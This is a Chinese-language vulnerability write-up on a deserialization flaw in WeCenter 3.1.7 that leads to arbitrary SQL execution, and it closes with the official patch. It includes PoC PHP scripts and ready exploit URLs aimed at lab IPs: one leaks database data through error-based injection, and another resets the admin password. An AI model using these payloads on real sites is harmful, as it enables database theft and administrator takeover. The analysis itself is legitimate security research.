漏洞概况
WeCenter 是一个类似知乎以问答为基础的完全开源的社交网络建站程序,基于 PHP+MYSQL 应用架构,它集合了问答,digg,wiki 等多个程序的优点,帮助用户轻松搭建专业的知识库和在线问答社区。
在wecenter 3.1.7版本中存在一个反序列化漏洞,该漏洞无需登录,利用简单,可以导致任意SQL语句执行,其漏洞的触发点在app/m/weixin.php
中。
环境搭建
- wecenter 3.1.7
- php 5.6 (php7以上不支持)
- Ubuntu18.04 + Mysql 5.7 + Apache2
漏洞分析
漏洞点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function authorization_action() { $this->model('account')->logout(); unset(AWS_APP::session()->WXConnect); if (get_setting('weixin_account_role') != 'service') { H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号')); } else if ($_GET['code'] OR $_GET['state'] == 'OAUTH') { if ($_GET['state'] == 'OAUTH') { $access_token = unserialize(base64_decode($_GET['access_token'])); }
|
这个漏洞需要先注册一个微信公众号,为了本地测试方便起见,我把相关代码get_setting('weixin_account_role') != 'service'
全部换成get_setting('weixin_account_role') == 'service'
修改后关键代码就变成了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public function authorization_action() { $this->model('account')->logout(); unset(AWS_APP::session()->WXConnect); if (get_setting('weixin_account_role') == 'service') { H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号')); } else if ($_GET['code'] OR $_GET['state'] == 'OAUTH') { if ($_GET['state'] == 'OAUTH') { $access_token = unserialize(base64_decode($_GET['access_token'])); }
|
$access_token = unserialize(base64_decode($_GET['access_token']));
这条语句将$_GET['access_token']
解码后进行反序列化,但是并没有对$_GET['access_token']
进行过滤,导致用户对该参数可控
PoC构造
我们先来看一个数据库操作类AWS_MODEL
,我们知道对于反序列化漏洞我们要找魔术方法,这个类中就有一个可以利用的__destruct()
魔术方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
|
class AWS_MODEL { ...
public function __destruct() { $this->master();
foreach ($this->_shutdown_query AS $key => $query) { $this->query($query); } } }
|
_destruct()
函数中直接遍历了_shutdown_query对象,并且将值传入了query直接执行。所以只要构造一个AWS_MODEL
类对象,在它被销毁的时候就能够执行任意的sql语句了。
我们重新看一下authorization_action()
函数
因为我们想要反序列化后的对象执行__destruct()析构函数,就必须让这个执行过程停止,在authorization_action()
函数的135行刚好存在报错语句,条件是$access_token['errcode']
的值为true,所以我们可以构造一个数组,数组的第一个元素是error => true
,第二个元素就是AWS_MODEL
类对象,在AWS_MODEL
类对象的构造函数__construct()中对$_shutdown_query赋值为我们的sql查询语句,就可以在它调用__destruct()时执行$this->query($query);
语句了。
跟进query()函数,发现有show_error
,所以我们可以用报错注入来得到数据库数据。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public function query($sql, $limit = null, $offset = null, $where = null) { $this->slave(); if (!$sql) { throw new Exception('Query was empty.'); } if ($where) { $sql .= ' WHERE ' . $where; } if ($limit) { $sql .= ' LIMIT ' . $limit; } if ($offset) { $sql .= ' OFFSET ' . $offset; } if (AWS_APP::config()->get('system')->debug) { $start_time = microtime(TRUE); } try { $result = $this->db()->query($sql); } catch (Exception $e) { show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage()); } if (AWS_APP::config()->get('system')->debug) { AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql); } return $result; }
|
PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class AWS_MODEL { private $_shutdown_query; function __construct() { $this->_shutdown_query = [ "SELECT updatexml(1,concat(0xa,user()),1)" ]; } } $arr = [ 'errcode' => 1, new AWS_MODEL() ]; echo urlencode(base64_encode(serialize($arr)));
|
得到PoC:
1
| http://192.168.247.132/wecenter/?/m/weixin/authorization/?code=1&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D
|
然后进一步可以爆出表名,字段名,接下来我们就可以修改管理员的密码。
这里还需要注意的就是wecenter的密码都是加密过的,所以我们先找到wecenter中的加密方法,用相同的方法生成新的密码,加密方法在system/functions.inc.php
中:
1 2 3 4 5 6 7 8 9 10 11 12 13
|
function compile_password($password, $salt) { $password = md5(md5($password) . $salt);
return $password; }
|
将原先的密码改成123456
,salt选用aaaa
:
1 2 3 4 5 6 7 8
| <?php function compile_password($password, $salt) { $password = md5(md5($password) . $salt); echo $password; } compile_password('123456', 'aaaa'); ?>
|
我们可以得到密码efeec90d2556454dc30d818fe50393a4,然后就可以用update语句来更新管理员密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php class AWS_MODEL { private $_shutdown_query; function __construct() { $this->_shutdown_query = [ "update `aws_users` set password='efeec90d2556454dc30d818fe50393a4',salt='aaaa' where uid=1;" ]; } } $arr = [ 'errcode' => 1, new AWS_MODEL() ]; echo urlencode(base64_encode(serialize($arr)));
|
生成PoC:
1
| http://192.168.247.133/wecenter317/?/m/weixin/authorization/?code=1&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjkxOiJ1cGRhdGUgYGF3c191c2Vyc2Agc2V0IHBhc3N3b3JkPSdlZmVlYzkwZDI1NTY0NTRkYzMwZDgxOGZlNTAzOTNhNCcsc2FsdD0nYWFhYScgd2hlcmUgdWlkPTE7Ijt9fX0%3D
|
访问这个url即可触发漏洞。
先把admin密码随便修改一下
然后访问PoC这个url:
执行后admin密码就被重置了。
官方补丁
在wecenter 3.1.9 版本中,官方做出的修补是用json_decode()
函数来替换unserialize()
函数
将下面的几行代码
1 2 3 4
| if ($_GET['state'] == 'OAUTH') { $access_token = unserialize(base64_decode($_GET['access_token'])); }
|
替换为:
1 2 3 4
| if ($_GET['state'] == 'OAUTH') { $access_token = json_decode(base64_decode($_GET['access_token']), true); }
|
json_decode()函数中第二个参数为true
,所以会返回一个array()而不是object
Author:
Bantian
License:
Copyright (c) 2019 CC-BY-NC-4.0 LICENSE
Slogan:
早睡早起身体好